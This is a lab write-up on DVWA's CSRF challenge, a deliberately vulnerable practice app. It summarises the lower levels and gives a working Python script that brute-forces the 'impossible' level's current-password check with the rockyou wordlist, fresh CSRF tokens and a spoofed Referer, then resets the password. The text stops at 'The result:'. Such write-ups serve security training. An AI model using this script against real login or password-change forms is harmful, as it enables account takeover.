DVWA’s CSRF Challenge
This challenge works around a password reset form, enabling admin to change their password. The first three levels can be exploited with these solutions:
- LOW Security Level: we just need a URL with correct params setup, from that URL make a GET request and we can change the password.
- MEDIUM Security Level: this level adds a check of
Referer
header, since it should be the same as where the request originated from, a simplecurl
command may exploit this level. - HIGH Security Level: this is where the game plays, it needs a CSRF token for every request to change the password. This is not so hard to exploit - a Python script can exploit it.
For more information: https://github.com/jameskaois/dvwa-vulnerabilities/tree/main/csrf
Cracking IMPOSSIBLE Security Level CSRF
This level seems to impossible to exploit. However, there is a vulnerability: this level requires a new value which is password_current
in order to check if the user know the current password before changing the new one.
The source code:
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// ...
}
This seems to be secure however unlike the IMPOSSIBLE level of brute-force it will have several checks and also limit the errors. Therefore, in that IMPOSSIBLE brute-force it is kinda hard to brute-force the password. However, this IMPOSSIBLE level in CSRF doesn’t check like that.
=> We can brute-force the current password then change new one (even though we doesn’t know the current password).
My created Python exploit code:
import requests
import re
baseUrl = "http://localhost/DVWA/vulnerabilities/csrf/"
cookies = {
"PHPSESSID": "<YOUR_SESSS_ID>",
"security": "impossible"
}
pattern = r"name='user_token' value='([a-fA-F0-9]+)'"
def getCSRFToken():
try:
# Take CSRF Token
res = requests.get(baseUrl, cookies=cookies)
match = re.search(pattern, res.text)
if match:
token = match.group(1)
return token
else:
print("Failed to taken token")
return False
except requests.exceptions.RequestException as e:
print("Request error:", e)
def changePassword():
newPassword = input('Enter new password: ')
headers = {
"Referer": "http://localhost/DVWA/vulnerabilities/csrf/"
}
try:
with open('/usr/share/wordlists/rockyou.txt') as file:
for line in file:
password = line.rstrip()
user_token = getCSRFToken()
if not user_token:
print('Failed to fetch token')
continue
url = baseUrl + f"?password_current={password}&password_new={newPassword}&password_conf={newPassword}&Change=Change&user_token={user_token}"
try:
print(f'Attempting {password}')
res = requests.get(url, cookies=cookies, headers=headers)
if "Password Changed" in res.text:
print()
print(f'Found current password: {password}')
print('Successfully change password')
exit()
except requests.exceptions.RequestException as e:
print("Request error:", e)
except FileNotFoundError as e:
print("File not found:", e)
changePassword()
In the code I use rockyou.txt
passwords list, you can change to whatever you want.
The result: